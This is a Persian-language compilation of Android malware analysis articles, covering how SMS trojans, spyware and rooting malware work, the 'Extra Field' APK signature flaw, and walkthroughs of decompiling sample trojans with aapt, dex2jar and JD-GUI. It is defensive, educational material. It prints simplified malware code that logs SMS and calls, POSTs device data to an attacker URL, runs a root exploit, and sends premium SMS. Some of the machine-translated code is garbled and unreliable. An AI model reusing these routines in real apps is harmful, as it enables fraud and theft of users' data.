توضیحات بدافزار برای اندروید. باز کردن، تغییر و بسته بندی برنامه های اندروید تجزیه بدافزار

برخی از آزمایشگاه های آنتی ویروس در حال حاضر بیش از 10 میلیون نمونه بدافزار اندروید را در مجموعه خود دارند. این رقم تخیل را تحریک می کند، اما تقریباً 9 میلیون و 995 هزار نفر از آنها کپی های ویروس های اصلی هستند. اما اگر کد منبع چندین هزار نمونه بدافزار باقی مانده را تجزیه و تحلیل کنید، می بینید که همه آنها از تعداد کمی از بلوک های کاربردی منحصر به فرد (چندین به روش های مختلف اصلاح و ترکیب شده اند) ترکیب شده اند.

مسئله این است که ویروس سازها اغلب کارهای بسیار پیش پا افتاده ای را دنبال می کنند:

  • ارسال پیامک به یک شماره پولی؛
  • اطلاعات محرمانه کاربر را بدست آورید ( شماره تلفن ها، متون پیام، داده های کارت SD و غیره)؛
  • جمع آوری داده ها در مورد دستگاه آلوده؛
  • توقیف حقوق اداری روی دستگاه (برای نصب برنامه‌ها بدون اجازه مالک یا غیرفعال کردن مخرب دستگاه).
  • ردیابی ورود، رمز عبور و داده های کارت پرداخت که کاربر در وب سایت های سیستم های بانکداری اینترنتی وارد می کند. چگونه این کار را انجام می دهند؟ بیایید سعی کنیم وارد دنیای تاریک مجازی سازی موبایل شویم و ببینیم در آنجا چه اتفاقی می افتد.

ارسال اس ام اس

چه کسی استفاده می کند:

  • adsms;
  • بازیکن تقلبی؛
  • HipposSms.

تروجان های پیامکی رایج ترین نوع ویروس هستند. این ویروس ها به سادگی پیام می فرستند شماره های پرداخت شدهبدون رضایت کاربر ایجاد چنین برنامه ای یا بازنویسی یک برنامه آماده برای تعداد مورد نظر بسیار آسان است. و روند به دست آوردن مزایا بسیار ساده است - بر خلاف، به عنوان مثال، ردیابی داده های بانکی.

زیر است ساده ترین مثالکد این یک عملکرد ابتدایی است ارسال اس ام اس. با بررسی وضعیت ارسال، انتخاب اعداد بسته به موقعیت مکانی مشترک و سپس حذف پیامک می توان آن را پیچیده کرد.

SendSms ثابت خصوصی (String DestNumber، String SmsText) ( // تلاش برای اجرای متد sendTextMessage شی SmsManager ( برنامه استانداردبرای ارسال پیامک به دستگاه فعلی) با حداقل تعداد پارامتر: شماره گیرنده و متن پیام try(SmsManager.getDefault().sendTextMessage(DestNumber,null,SmsText,null,null)؛ بازگشت true; ) )

کجا باید کد ویروس را جستجو کرد

در اکثر موارد، گوشی از طریق نصب برنامه ها آلوده می شود. هر برنامه اندرویدی به عنوان یک فایل apk وجود دارد که در واقع یک آرشیو است. می توانید محتویات آن را با با استفاده از اندروید SDK، مبدل APK به JAR و دیکامپایلر بایت کد جاوا. یک اسمبلی برنامه (APK) از بخش های زیر تشکیل شده است:

  • resources.arsc - جدول منابع.
  • res (پوشه) - منابع واقعی (آیکون ها و غیره)؛
  • META-INF (پوشه) - حاوی فایل هایی با محتوای زیر است: جمع های چک منبع، گواهی برنامه و توضیحات مونتاژ APK.
  • AndroidManifest.xml - انواع اطلاعات خدمات. از جمله مجوزها (مجوز) که برنامه قبل از نصب برای عملکرد صحیح آن درخواست می کند.
  • classes.dex - حتماً این را شنیده اید عامل اندرویدسیستم‌ها، تمام کدها با استفاده از ماشین مجازی Dalvik اجرا می‌شوند (با شروع نسخه 4.4، پشتیبانی ART ظاهر می‌شود)، که بایت کد معمولی جاوا را درک نمی‌کند. بنابراین فایل هایی با پسوند dex وجود دارد. به همراه کلاس های ضروری و مفید (که وظیفه عملکرد برنامه را بر عهده دارند) دارای موارد مخرب نیز می باشد (کد ویروسی که در این مقاله تحلیل می کنیم).

نوشتن اطلاعات کاربر در فایل متنی

چه کسی استفاده می کند:

  • نیکی اسپای;
  • SmsSpy.

دسته ای از ویروس ها وجود دارند که به دنبال اطلاعات شخصی کاربران هستند. مکانیسم عمل آنها نیز ساده است. آنها یا فایل های کاربر را در سرور سازنده خود آپلود می کنند، یا برخی از داده ها را از قبل در txt جمع آوری می کنند (CSV، XML - مهم نیست). مورد توجه مهاجمان می تواند مخاطبین از هر نوع، پیام های پیام رسان های فوری مختلف، فایل های رسانه ای و غیره باشد.

پیامک های کاربران آلوده به دلیل شماره تلفن فرستندگان و گیرندگان بسیار ارزشمند هستند - آنها می توانند پایگاه داده را برای ارسال های هرزنامه دوباره پر کنند. به ندرت از این نوع ویروس ها برای آلوده کردن دستگاه های افراد خاص استفاده می شود - دفعه بعد که دوست دخترتان به شما پیشنهاد داد برنامه اندروید نوشته شده توسط او را آزمایش کنید (آه، karamba! - تقریباً ویرایش) هوشیاری خود را از دست ندهید: ).

// شمارش تعداد پیامک های موجود در دستگاه arrayOfObject = (Object)localBundle.get("pdus"); int j=arrayOfObject.length; // از طریق هر پیامک i=1 حلقه بزنید در حالی که (true) (if(i>=j) break؛ // ایجاد یک شی پیام اس ام اس SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte)arrayOfObject[i]); // در متغیرهای رشته، شماره فرستنده، متن و زمان ارسال پیام کوتاه را وارد کنید. MessageTimeDate = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate); // یک رشته از داده های دریافتی تشکیل دهید و با استفاده از روش سفارشی WriteRec String MessageInfo= 7MessageNumber+" را در فایل متنی بنویسید. #"+ MessageText+"#" + MessageTimeDate+";" WriteRec(paramContext,"sms.txt",MessageInfo); // به پیام بعدی بروید i+=1؛ ) همچنین پر کردن لیست هرزنامه از مشترکین راحت است. تاریخچه تماس کدی که می تواند در تماس ورودی اجرا شود این است: If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) (// شماره مشترک را در متغیر String phonenumber=paramIntent.getStringExtra قرار دهید ("android.intent. extra.PHONE_NUMBER")؛ // یک رشته از شماره و تاریخ تماس تشکیل دهید String PhoneCallRecord= شماره تلفن +"#"+getSystemTime(); // فراخوانی روش WriteRec() (کد آن است در اینجا نشان داده نشده است)، که یک رشته را به یک فایل متنی با سابقه تماس اضافه می کند WriteRec(paramContext,phonecall.txt, PhoneCallRecord)؛ )

پس از ثبت اطلاعات، به "دست راست" ارسال می شود. کد زیر سابقه تماس را در سرور آپلود می کند:

آپلود خلأ خصوصی()PhonecallHistory IDException را می اندازد ( while(true) (بازگشت؛ // بررسی کنید فایل مورد نیاز ما وجود دارد if(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt")) ادامه یابد; // ایجاد یک شی - آپلودکننده فایل UploadFiles localUploadFiles=new UploadFiles()؛ رشته uploadkeynode=getKeyNode("uid","uid_v")؛ // روش .advanceduploadfile را اجرا کنید (کد آن در اینجا نشان داده نشده است) برای آپلود فایل در سرور ویروس ساز localUploadFiles. advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt")؛ ) )

مجموعه اطلاعات

چه کسی استفاده می کند:

  • دروید کونگ فو
  • DroidDream;
  • اکثریت قریب به اتفاق بدافزارها همگی مشابه هستند.

در اصل، اطلاعات مربوط به دستگاه های آلوده شده توسط برنامه های آن برای هر ویروس ساز مفید است. دریافت آن بسیار آسان است. آرایه ای با داده های مربوط به ویژگی های تلفن (آنها) ایجاد می شود لیست کاملرا می توان در راهنمای توسعه دهندگان اندروید یافت) و به عنوان یک درخواست POST به یک اسکریپت PHP (زبان مهم نیست) در سرور مهاجم ارسال می شود، که داده ها را پردازش کرده و برای استفاده بعدی در پایگاه داده قرار می دهد.

Private void reportState(int paramInt, string paramString) ( // یک آرایه ایجاد کنید و آن را در اطلاعات خدمات ArrayList UserInformation=new ArrayList(); UserInformation.add(New BasicNameValuePair("imei", this.mImei)); UserInformation.add(New BasicNameValuePair("taskid", this.mTaskId)); UserInformation.add(New BasicNameValuePair("state", Integer.toString(paramInt))); // اگر تابع دارای پارامتر "paramString(comment)" تعریف شده است، آن را در یک آرایه قرار دهید و if(paramStrng !=null)&&(!".equals(paramString))) UserInformation.add(new BasicNameValuePair("Comment" , paramString )) // یک درخواست HTTP POST با آدرس اسکریپتی که داده ها را جمع آوری می کند ایجاد کنید HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php"); سعی کنید (// آرایه داده خود را به درخواست اضافه کنید و آن را با استفاده از مشتری استاندارد HTTP localHttpPost اجرا کنید. setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8"))); new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode(); برگشت؛ ))

ریشه زایی

چه کسی استفاده می کند:

  • دروید کونگ فو
  • DroidDream;
  • RootSmart.

یکی از آزاردهنده ترین اتفاقاتی که ممکن است برای دستگاه اندرویدی بیفتد، روت شدن آن توسط ویروس است. پس از همه، پس از آن، برنامه مخرب می تواند هر کاری را با آن انجام دهد: نصب ویروس های دیگر، تغییر تنظیمات سخت افزار. این عمل با راه اندازی متوالی اکسپلویت ها انجام می شود:

Private void RootFunc() ( ApplicationInfo localApplicationInfo =getApplicationInfo(); /*"ratc" یک کپی از اکسپلویت ریشه معروف Rage Against The Cage است. Kiall - تمام فرآیندهای در حال اجرا توسط برنامه فعلی را از بین می برد. Gjsvro - سوء استفاده برای به دست آوردن حقوق udev ( در سیستم های لینوکس برای کار طولانی با سخت افزار و رابط های شبکه استفاده می شود) همه این ها را در جای مناسب کپی کنید */ Utils.copyAssets(this,"ratc","/data/data"+localApplicationInfo.packageName + "/ratc"); Utils .copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall"); Utils.copyAssets(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/gjsvro "); //و با استفاده از خط فرمان Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc"); Utils.oldrun("/system/ اجرا کنید. bin/chmod، "4755 /data/data"+localApplicationInfo.packageName + "/killall"); Utils.oldrun("/system/bin/chmod"، "4755 /data/data"+localApplicationInfo.packag eName + "/gjsvro"); جدید MyTread.start(); )

سایت هایی درباره بدافزار موبایل

وبلاگ متخصص Kasperskiy Lab این منبع حاوی مقالات با کیفیت و مفصل در مورد بسیاری از جنبه های امنیت رایانه، از جمله ویروس های اندروید است. ارزش بازدید منظم از این سایت را دارد تا از آخرین پیشرفت ها مطلع شوید.

این گروه به یک ابزار متن باز برای انواع دستکاری ها با کد برنامه اندروید (دکامپایل و اصلاح فایل های DEX/ODEX/APK و غیره) اختصاص داده شده است. Androguard همچنین شامل یک پایگاه داده گسترده از مقالات در مورد ویروس ها است. علاوه بر بررسی مختصر عملکرد و روش‌های حفاظتی، تحلیل‌های دقیقی از کد بدافزار وجود دارد.


بخش تهدیدات موبایل در www.fortiguard.com دایره المعارف ویروس های تلفن. هر مقاله مروری بر عملکرد است که با مقدار قابل توجهی از جزئیات فنی چاشنی شده است. علاوه بر اطلاعات در مورد تهدیدات برای عملیات سیستم های اندروید، مقالاتی در مورد ویروس ها برای سیستم عامل سیمبین، iOS و سایر سیستم عامل ها وجود دارد.


محافظت در برابر ویروس

برخی از کاربران بر این باورند که اگر برنامه ها را منحصراً از گوگل پلیو یک آنتی ویروس را روی گوشی هوشمند خود نصب کنید، پس این کاملا امنیت را تضمین می کند. خودتان را فریب ندهید: پیام هایی به طور مرتب در وب در مورد وجود بدافزار در بازار رسمی ظاهر می شود. و تعداد برنامه های مخرب تازه پدیدار شده به صدها هزار در ماه اندازه گیری می شود که ورود به موقع پایگاه های داده را برای آنها دشوار می کند. برنامه های آنتی ویروس. با بررسی دستی کد فایل APK قبل از نصب آن بر روی گوشی، می توان تضمین واقعی امنیت را داد. برای شناسایی تکه های مخرب، لازم نیست یک معلم برنامه نویسی باشید. و مقاله ما در این مورد به شما کمک خواهد کرد.

نتیجه

همانطور که از مثال ها می بینیم، مجازی سازی موبایل از نظر پیچیدگی تکنولوژیکی تفاوتی ندارد. البته، این مثال‌ها برای تناسب با فرمت گزارش ساده‌سازی شده‌اند - اول از همه، کنترل‌کننده‌های خطا و استثنا و همچنین برخی جزئیات فنی حذف شده‌اند که عدم وجود آنها مانع از درک اصول بدافزار اندرویدی نمی‌شود، اما محافظت می‌کند. شما از آزمایش های غیر ضروری بالاخره ما از ایجاد ویروس ها پشتیبانی نمی کنیم، درست است؟ 🙂

Extra Field یک آسیب پذیری در است گوگل اندروید، که به مهاجمان اجازه می دهد تا محتویات بسته نصبی هر برنامه ای را برای این سیستم عامل بدون آسیب رساندن به امضای دیجیتال آن تغییر دهند. با استفاده از این آسیب‌پذیری، ویروس‌نویس‌ها می‌توانند تروجان‌ها را با تزریق یک مؤلفه مخرب به هر برنامه قانونی یا قابل اعتمادی توزیع کنند.

آنتی ویروس Dr.Web برای اندروید نمی تواند این آسیب پذیری را از بین ببرد، زیرا در سطح خود سیستم عامل شناسایی می شود، با این حال، برنامه های مخربی را که با کمک آن پخش می شوند را با موفقیت شناسایی و حذف می کند، حتی زمانی که سعی می کنند به سیستم محافظت شده نفوذ کنند و اجرا شوند. دستگاه

جزییات فنی

توزیع برنامه های کاربردی سیستم عامل سیستم های گوگل Android به صورت فایل‌های APK. توزیع می‌شود که یک آرشیو ZIP است که شامل تمام اجزای لازم برای کارکرد برنامه است. در حین نصب برنامه، آنها از آرشیو استخراج می شوند و چک سام های آنها با یک لیست خاص بررسی می شود. هر اپلیکیشن دارای امضای دیجیتال مخصوص به خود است.

بهره برداری از یک آسیب پذیری میدان اضافی، مهاجمان می توانند ساختار بایگانی APK را تغییر دهند: هنگام اضافه کردن مقدار یکی از مؤلفه های اصلی برنامه (به ویژه فایل classes.dex) به فیلد سرویس آن بدون سه بایت اول، در حالی که به طور همزمان نسخه تغییر یافته ای را قرار می دهند. فایل در جای خود، دومی توسط سیستم عامل مشروع تلقی می شود و مجاز به نصب است. اگرچه اکسپلویت بالقوه این آسیب‌پذیری به اندازه فایل dex محدود می‌شود، که نباید از 65533 بایت بیشتر باشد، مجرمان سایبری علاقه‌مند به حمله می‌توانند به راحتی از آن سوء استفاده کنند، بر اساس یک برنامه یا بازی بی‌ضرر که دارای جزء مناسب است. اندازه.

فایل classes.dex حاوی کد برنامه کامپایل شده در داخل فایل APK است. هدر APK شامل فضایی است که نام فایل با پسوند .dex را در خود جای می دهد و همچنین فیلدی به نام فیلد اضافی که محتویات خود فایل classes.dex و لیستی از کلاس های استفاده شده توسط برنامه را در خود جای می دهد. اگر فیلد هدر سه بایت کوتاه شود، مقدار طول فیلد مربوطه تغییر می‌کند، که به مهاجمان اجازه می‌دهد تا classes.dex اصلی را در فیلد اضافی، و همچنین یک کپی مخرب از این فایل را وارد کنند، که بخشی از آن همچنین در قسمت اضافی قرار گیرد. فیلد اصلاح شده ممکن است حاوی کلاس های مخربی باشد که دارای عملکرد مخرب هستند. هنگامی که یک برنامه نصب می شود، سیستم عامل محتوا را می خواند زمینه داده شده، در نتیجه فایل classes.dex اصلاح شده توسط مهاجمان بر روی دستگاه مورد حمله نصب می شود.

شما منبع برنامه خود را گم کرده اید و باید کد را بازیابی کنید. شما یک برنامه با ویروس دانلود کرده اید و می خواهید بدانید که چه کاری انجام می دهد.

برنامه های اندروید در آرشیو توزیع می شوند. این آرشیوها پسوند ".apk" دارند. چنین فایل هایی رمزگذاری نشده اند و اساساً فایل های "زیپ" هستند. برای تایید این موضوع می توانید نام فایل apk را به zip تغییر دهید.

شما باید در فایل APK حفاری کنید و مقداری داده دریافت کنید. می توانید روی گربه ها تمرین کنید. بیایید برنامه "Hello Kitty" خود را برداریم، فایل apk آن را در پوشه پروژه پیدا کنیم app\build\outputs\apkو برای آزمایش به پوشه ای جداگانه منتقل کنید.

پس از باز کردن آرشیو، می توانید ساختار برنامه را ببینید و با فایل های آشنا روبرو شوید. و حتی برخی از فایل ها را برای مشاهده استخراج کنید. مثلا در پوشه res/drawable-hdpi-v4من عکسم را پیدا کردم pinkhellokitty.png. به نظر می رسد که این خوشبختی است. اما به شادی ادامه دهید اگر هیچ مشکلی با تصاویر وجود ندارد، خواندن فایل XML یک مشکل است. برخی از خطوط برای شما قابل مشاهده است، اما به طور کلی متن کاملاً ناخوانا است. پس اول راه دیگر را برویم.

از آنجایی که برنامه های کاربر اندروید روی یک ماشین جاوا اجرا می شوند، فایل های APK تمام ویژگی های فایل های JAR را به ارث می برند.

محتوای آرشیو معمولاً چیزی شبیه به این است:

دایرکتوری META-INF شامل:

CERT.RSA - گواهی درخواست
CERT.SF - جمع‌بندی فایل‌های منابع (تصاویر، صداها و غیره)
MANIFEST.MF - اطلاعات خدماتی که خود فایل apk را توصیف می کند

تجزیه بدافزار

به عنوان مثال، برنامه را در نظر بگیرید مشکوک.apkکه توسط آنتی ویروس های مختلف به عنوان یک برنامه مخرب شناسایی می شود.

برای درک بهتر اینکه دقیقاً به دنبال چه چیزی باشید، باید فایل "AndroidManifest.xml" را تجزیه و تحلیل کنید - ببینید برنامه تحلیل شده به چه مجوزهایی نیاز دارد. این فایلباینری، نه متن ساده xml. برای خواندن آن، باید از ابزار کنسول "aapt" از کیت استفاده کنید Android SDK. در دایرکتوری "platform-tools" قرار دارد. از آنجایی که رابط گرافیکی وجود ندارد، دستور باید در کنسول وارد شود. برای مثال برای ویندوز:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk

البته، شما باید مسیرهای خود را جایگزین کنید. AT دستور لینوکسبا تفاوت های آشکار یکسان خواهد بود (این ابزار دارای حروف درایو و پسوند "exe" نخواهد بود). برای راحتی بیشتر، خروجی را می توان به یک فایل هدایت کرد:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk>>C:\incoming\manifest.txt

در فایل، باید بخش "Android manifest" را پیدا کنید و به دنبال شمارش مجوزها بگردید. در فایل تجزیه شده به شکل زیر است:

"android.permission.READ_PHONE_STATE" (خام: "android.permission.READ_PHONE_STATE") "android.permission.INTERNET" (خام: "android.permission.INTERNET") "android.permission." (خام: "android.permission.RECEIVE_SMS")

از این اطلاعات، مشخص می شود که برنامه می تواند وضعیت تلفن را دریافت کند (این شامل، به عنوان مثال، "تلفن در حالت تماس"، "تلفن در حالت دریافت داده"). این مجوز همچنین برای به دست آوردن شماره تلفنی که برنامه روی آن در حال اجرا است، کار با شبکه و نظارت بر ورود پیامک مورد نیاز است. این جنبه ها باید در کانون تحلیل های بیشتر باشد.

برای دسترسی به کد، باید دو مرحله را انجام دهید - فایل apk را به یک فایل jar تبدیل کنید و بایت کد حاصل را به شکلی قابل خواندن برای انسان بازگردانید.

بیایید از مبدل "dex2jar" استفاده کنیم:

C:\dex2jar\dex2jar.bat C:\incoming\suspicious.apk

فایل تبدیل شده در همان دایرکتوری فایل اصلی قرار خواهد گرفت. ".dex2jar.jar" به نام آن اضافه می شود، یعنی in این مثال"suspicious.apk.dex2jar.jar" خواهد بود.

این فایل را می توان توسط یک دیکامپایلر باز کرد. سلسله مراتب بسته در پنجره دیکامپایلر به این صورت است:


این مراحل مقدماتی را تکمیل می کند - موفقیت بیشتر فقط به دانش شما از جاوا و توانایی استفاده از موتور جستجو بستگی دارد.

خوشبختانه، نمونه انتخاب شده برای مثال از نظر اندازه بسیار کم است - شیشه نهایی تنها 7.01 کیلوبایت است.

شش کلاس در این برنامه وجود دارد. ما آنهایی را که هیچ علاقه ای ندارند حذف می کنیم. این یک کلاس R است که فقط شناسه های همه منابع را فهرست می کند. همچنین امکان حذف کلاس از بررسی وجود دارد پیکربندی A که شامل پیکربندی ساخت است.

بیایید نگاهی دقیق تر به سه کلاس باقی مانده بیندازیم.

فعال سازی

این کلاس توسط یک رویداد راه اندازی می شود onCreate()، یعنی بلافاصله پس از شروع برنامه.

TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone");- ایجاد می کند localTelephonyManager A که اطلاعات دستگاه را نگه می دارد.

str1 = localTelephonyManager.getDeviceId();- شماره شناسایی دستگاه را از داده های دریافتی انتخاب کرده و در رشته str1 قرار می دهد

بعد چرخه ای می آید که تقسیم می شود شناسه دستگاهبه قطعات چهار رقمی، با قرار دادن خط فاصله "-" بین آنها، یعنی از XXXXXXXXXXXXXXXX شما XXXX-XXXX-XXXX-XXXX دریافت می کنید. رشته اعداد و خط تیره به دست آمده به آن منتقل می شود مشاهده متنبا شناسه 2131034112.

گیرنده پیامک

این کلاس زمانی فعال می شود که یک پیام کوتاه، یک رویداد، می رسد onReceive().

وظیفه این کلاس نظارت بر پیامک های دریافتی و در صورت شناسایی، اجرای کلاس است MainService، با ارسال یک اشاره گر به پیام ورودی جدید.

MainService

این کلاس بسیار بزرگ است، بنابراین من آن را به طور کامل لیست نمی کنم. بلافاصله پس از تماس، زیر کلاس SmsBlockerThread را راه اندازی می کند که اعلان پیامک دریافتی را مسدود می کند تا کاربر از پیامک دریافتی جدید مطلع نشود.

سپس پیامک دریافتی به صورت زیر پردازش می شود:

String str1 = localSmsMessage.getOriginatingAddress();- شماره تلفن گیرنده (یعنی شماره تلفنی که تروجان روی آن نصب شده است) در متغیر قرار می گیرد. str1.

String str2 = localSmsMessage.getMessageBody();- متن پیام در متغیر str2 قرار می گیرد

سپس جفت های متصل ایجاد می شوند localBasicNameValuePair1و localBasicNameValuePair2که مقادیر در آن قرار می گیرند

F0=<номер телефона>b0=<текст сообщения>

این جفت ها در آرایه localArrayList ذخیره می شوند که بعداً جفت به آن اضافه می شود localBasicNameValuePair3، که id= است

در عین حال، همانطور که می بینید، شناسه دستگاهدوباره به دست می آید و آنچه در کلاس دریافت شده است استفاده نمی شود فعال سازی. به فراخوانی متد ختم می شود postRequest()از آخرین کلاس ServerSession:

امتحان کنید ( JSONObject localJSONObject = ServerSession.postRequest(new UrlEncodeFormEntity(localArrayList)); بازگشت؛)

همان آرایه از جفت ها به عنوان پارامتر ارسال می شود که در آن شماره تلفن، محتوای پیامک و شناسه دستگاه وجود دارد.

ServerSession

این کلاس دو روش دارد: initUrl()، که قسمت پیوند "(http://softthrifty.com/security.jsp)" را برمی گرداند:

رشته ایستا عمومی initUrl() («http://softthrifty.com/security.jsp» را برمی گرداند؛ )

و روش بزرگ postRequest()، که از کلاس فراخوانده شد MainService. با وجود اندازه، وظیفه postRequest()ساده است - با استفاده از پیوند بازگردانده شده توسط روش، به سرور ارسال کنید initUrl()، داده ها با افزودن جفت ها از آرایه جمع آوری شده در MainService. یعنی فقط لینک زیر را دنبال کنید:

(http://softthrifty.com/security.jsp?f0=<номер телефона>&b0=<текст сообщения>&id= )

نتیجه

بنابراین، این تروجان SMS را رهگیری می کند و درخواستی را به سرور ارسال می کند که در آن شماره تلفن آلوده، محتوای پیامک و شناسه گوشی آلوده را ارسال می کند. این رفتار ممکن است نشانه ای از حمله یک تروجان بانکی به احراز هویت دو مرحله ای باشد. برای حمله موفقیت آمیز، شرایط زیر باید رعایت شود:

1) مهاجم باید رایانه قربانی را آلوده کند تا بتواند داده ها را برای بانکداری آنلاین رهگیری کند.
2) مهاجم باید تلفن قربانی را آلوده کند تا پیامک را با کد تأیید بانک رهگیری کند.
3) مهاجم باید به نحوی کاربر رایانه آلوده و تلفن آلوده را پیوند دهد تا بداند این کد تأیید از کدام اعتبار بانکی آنلاین است.

با توجه به اندازه و واضح بودن فعالیت های آن، چنین نمونه ای برای نشان دادن تکنیک های اساسی تجزیه بدافزار برای اندروید مناسب است.

توضیحات بدافزار ابزارهای نرم افزاریبرای اندروید

الکساندر آنتیپوف

گزارش وضعیت بالقوه تهدید McAfee در سه ماهه اول سال جاری نشان داد که 6 میلیون نمونه بدافزار منحصر به فرد شناسایی شده است.


گزارش وضعیت بالقوه تهدید McAfee در سه ماهه اول سال جاری نشان داد که 6 میلیون نمونه بدافزار منحصر به فرد شناسایی شده است. از این نظر، سه ماهه اول سال 2011 از نظر تعداد برنامه های مخرب شناسایی شده در مقایسه با دوره های مشابه تمام سال های گذشته پربازده ترین بود. گزارش McAfee اشاره کرد که دستگاه های اندرویدی به طور فزاینده ای به حامل بدافزار تبدیل می شوند. به گفته کارشناسان، اندروید در سه ماهه اول سال جاری پس از سیمبین، دومین هدف محبوب تلفن همراه برای نفوذ در بین بدخواهان بود.

در این مقاله قصد داریم شما را با مراحل مختلف تحلیل نرم افزار آشنا کنیم تا به شما این امکان را بدهیم که متوجه شوید آسیب پذیری های پلتفرم اندروید دقیقاً چیست و مهاجمان چگونه از آنها استفاده می کنند. ابتدا با بحث در مورد تاریخچه توسعه اندروید شروع می کنیم و سپس به اصول اولیه نحوه عملکرد بسته های پیکربندی پلت فرم می پردازیم. در همان زمان، ما همه بدافزارهایی را که به طور خاص اندروید را هدف قرار می‌دهند، با جزئیات تجزیه و تحلیل خواهیم کرد.

معرفی پلتفرم اندروید

اندروید است سیستم عاملبرای تلفن های همراه، ارتباطات، رایانه های لوحیو سایر دستگاه های مبتنی بر هسته لینوکس. توسعه دهندگان برنامه ها را برای اندروید عمدتاً به زبان جاوا می نویسند و کنترل دستگاه را با استفاده از کتابخانه جاوا توسعه یافته توسط Google فراهم می کنند. کامپایلر جاوا اندروید مجموعه ای از فایل های توسعه دهنده را در فایل های کلاس کامپایل می کند و سپس فایل های کلاس به فایل های dex تبدیل می شوند. این فایل ها دارای یک بایت کد هستند که مخصوصاً برای شناسایی استفاده می شود ماشین مجازی Dalvik یک محیط اجرای بایت کد برنامه جاوا (JVM) است که بر روی یک برنامه اختصاصی اندروید اجرا می شود. فایل های XML به فرمت باینری تبدیل می شوند که برای ایجاد فایل های کوچک بهینه شده است. فایل های .dex، باینری فایل های XMLو سایر منابع مورد نیاز برای اجرای برنامه ها در یک فایل بسته اندرویدی بسته بندی شده اند. این فایل‌ها پسوند apk. دارند اما فایل‌های ZIP استاندارد هستند. پس از تولید بسته apk، به صورت دیجیتالی توسط توسعه دهنده امضا شده و از طریق وب سایت گوگل در مارکت اندروید آپلود می شود، از آنجا کاربر می تواند این فایل های apk را دانلود کرده و بر روی دستگاه اندرویدی خود نصب کند. در حال حاضر بیش از 2 میلیون برنامه برای دانلود در فروشگاه مرکزی برنامه های اندروید موجود است، و علاوه بر این، فراموش نکنید که برنامه های اندروید گوگل را می توان از سایر سایت های شخص ثالث نیز دانلود کرد.

الزامات

  • ابزاری برای فشرده سازی فایل های apk - Winzip
  • ابزار تبدیل فایل های .dex به فایل های jar: ..Dex2jar
  • ابزار گرافیکی برای دیکامپایل جاوا: JD-GUI
  • نمونه بدافزار اندروید برای تجزیه و تحلیل

مراحل دقیق

مرحله اول:
برای شروع فرآیند تجزیه و تحلیل بدافزار، ابتدا باید یک نمونه بدافزار را دانلود کنید که پلتفرم اندروید را هدف قرار می دهد. در این صورت، ما iCalendar.apk را دانلود خواهیم کرد که به یکی از 11 برنامه مشکوک حذف شده از مارکت اندروید تبدیل شده است زیرا مشخص شد حاوی بدافزار در Gadget Media است. بررسی درخواست در VirusTotal نرخ شناسایی 46.5% را همانطور که در شکل زیر نشان داده شده است نشان داد.


برنج. یکی

مرحله دوم:

فایل iCalendar.apk را با Winzip استخراج کنید، سپس می توانید محتویات فایل apk. را مشاهده کنید.

برنج. 2. .dex و. فایل‌های XML که قبلاً در این مقاله مورد بحث قرار گرفت، در شکل نشان داده شده‌اند. 2.

مرحله سوم:

مرحله بعدی اجرای کد با استفاده از ابزار "dex2jar" است. جعبه ابزار dex2jar فایل‌های اجرایی دالویک را به فایل‌های کلاس جاوا تبدیل می‌کند. "Classes.dex" - فایل برنامه ما به دایرکتوری "dex2jar" می رود و با استفاده از دستور زیر تبدیل می شود: dex2jar.bat classes.dex.

برنج. 3 فایل های "classes.dex.dex2jar.jar" را در یک فهرست ایجاد کنید.

برنج. چهار

مرحله چهارم:

ما از JD-GUI برای مشاهده فایل های .class استفاده کردیم. فایل "Classes.dex.dex2jar.jar" را با استفاده از JD-GUI باز کنید.

برنج. 5: کد منبع کامل برنامه های اندروید نشان داده شده است.

مرحله پنجم:
بعد از دریافت کد منبعبرنامه، می توانید منبع واقعی را تجزیه و تحلیل کنید و مشکلات را بررسی کنید. اشاره شده است که فایل با نام کلاس "SmsReceiver.class" کمی عجیب به نظر می رسد، زیرا یک تقویم برنامه کاربردی است و در این مورد نیازی به SmsReceiver نیست. با بررسی بیشتر کد منبع "SmsReceiver.class"، مشخص شد که حاوی سه شماره 1066185829، 1066133 و 106601412004 است که نسبتا مشکوک به نظر می رسید. به طور خاص، وضعیت مشابه تلاش برای مسدود کردن پیام‌های ارسال شده است اعداد مشخص شدهبر روی دستگاه اندروید، چه زمانی این نرم افزارنصب و اجرا شد

برنج. 6

پس از جستجوی این شماره ها از طریق گوگل، مشخص شد که این شماره های سرویس پیامکی متعلق به China Mobile است (شکل 7).

برنج. 7

ما سعی کردیم در ادامه بررسی کنیم که چرا برنامه سعی می کند گزارش های تحویل از شماره های فوق را مسدود کند.

مرحله ششم:
پس از اتمام تجزیه و تحلیل فایل "SmsReceiver.class" به تحلیل کد فایل .class بعدی یعنی i.e. "iCalendar.class". اولین مورد مشکوک ترین به نظر می رسد. به طور خاص، ما متوجه شدیم که یک تابع sendSms() در تابع showImg() وجود دارد.

برنج. هشت

بنابراین، ما یک بررسی فایل "sendSms ()" را برای مشاهده ویژگی های اجرای دستورات آغاز کردیم. همانطور که در شکل زیر نشان داده شده است، می بینیم که با فعال شدن تابع sendSms() یک پیامک با متن 921X1 به طور خودکار به شماره 1066185829 ارسال می شود.

برنج. 9

مرحله هفتم:
در انتهای تابع sendSms() متوجه وجود دستور تابع save شدیم. بنابراین، ما تابع save() را در داخل کد جستجو کردیم و رابطه مستقیم آن را با تابع sendSms() یافتیم.

برنج. ده

پس از انجام برخی تحلیل ها و درک جنبه های مختلف نحوه عملکرد تابع save()، مشخص شد که رشته "Y" هر بار که تابع save() اجرا می شود، عبور داده می شود. علاوه بر این، نتیجه گرفته شد که تابع sendSms() فقط یک بار می تواند فراخوانی شود، اما نه بیشتر، زیرا یک حلقه "if" برای تابع sendSms() وجود دارد.

مرحله هشتم:
